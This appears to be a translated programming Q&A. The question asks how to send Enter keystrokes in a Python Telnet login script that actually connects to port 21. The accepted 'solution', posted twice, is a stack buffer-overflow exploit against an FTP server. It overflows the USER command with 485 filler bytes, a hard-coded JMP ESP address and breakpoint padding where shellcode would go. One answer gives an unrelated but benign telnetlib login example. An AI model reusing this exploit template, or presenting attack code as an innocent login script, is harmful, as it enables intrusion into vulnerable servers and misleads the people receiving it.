Python模拟输入密钥

时间:2015-05-19 17:54:40

标签: python telnet

我写了一个简单的Python脚本,它应该使用用户名和密码连接到Telnet服务器。

脚本如下:

#!/usr/bin/python

import sys
import socket

hostname = sys.argv[1]
password = "whatever"
username = "whatever"


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:
        print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)


connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response



connect.close()

错误是:

连接正常,但我无法用以下方式模拟回车键:

connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response

那为什么它不起作用? 谢谢:))

编辑解决方案:

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

2 个答案:

答案 0 :(得分:1)

Python包含一个telnet库:telnetlib

你看过那个吗? https://docs.python.org/2/library/telnetlib.html#module-telnetlib

还有一个例子如何使用它:

import getpass
import sys
import telnetlib

HOST = "localhost"
user = raw_input("Enter your remote account: ")
password = getpass.getpass()

tn = telnetlib.Telnet(HOST)

tn.read_until("login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("ls\n")
tn.write("exit\n")

print tn.read_all()

答案 1 :(得分:0)

解决方案代码是:

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

错误是一个实现错误,它会在代码执行之前停止编程。